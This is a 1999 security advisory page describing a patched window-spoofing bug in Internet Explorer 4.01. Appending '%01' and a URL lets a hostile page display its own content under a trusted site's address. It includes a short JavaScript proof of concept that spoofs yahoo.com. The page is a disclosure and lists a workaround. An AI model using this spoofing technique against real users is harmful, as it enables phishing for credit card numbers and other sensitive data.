msie4.01-window-spoof.txt

🗓️ 17 Aug 1999 00:00:00Reported by Georgi GuninskiType

packetstorm🔗 packetstormsecurity.com👁 36 Views

Window spoofing vulnerability in Internet Explorer 4.01 exposes sensitive user information risks.

`Guninski's IE 4 window spoofing.  
http://www.geocities.com/ResearchTriangle/1711/read4.html  
  
There is a bug in Internet Explorer 4.01 (patched) which allows "window spoofing".  
  
The problem is: if you add '%01someURL' after the URL, IE thinks that the document is loaded from the domain of 'someURL'.  
  
This circumvents "Cross-frame security" and opens several security holes.  
  
After visiting a hostile page (or clicking a hostile link) a window is opened and its location is a trusted site.  
However, the content of the window is not that of the original site, but it is supplied by the owner of the page.  
So, the user is mislead he is browising a trusted site,   
while he is browsing a hostile page and may provide sensitive information, such as credit card number.  
  
The bug may be exploited using HTML mail message. The exploit uses Javascript.   
  
Workaround: Disable Javascript.  
  
Written by http://www.geocities.com/ResearchTriangle/1711 - Georgi Guninski  
  
  
Exploit code  
------------  
<SCRIPT>  
  
alert('A window will be open. Examine the location and the content.\nThis may also be done by clicking a link.')  
b=showModalDialog("about:<SCRIPT>a=window.open('http://www.yahoo.com');a.document.write('<HTML><HEAD><TITLE>Yahoo</TITLE><BODY></HEAD><H1>Look at the address bar!<BR>');a.document.write('<A HREF=\"http://www.geocities.com/ResearchTriangle/1711\">Go to Georgi Guninski\\'s home page</A></H1></BODY></HTML>');close()</"+"SCRIPT>%01http://www.yahoo.com");  
  
</SCRIPT>  
`

17 Aug 1999 00:00Current

7.4High risk

Vulners AI Score7.4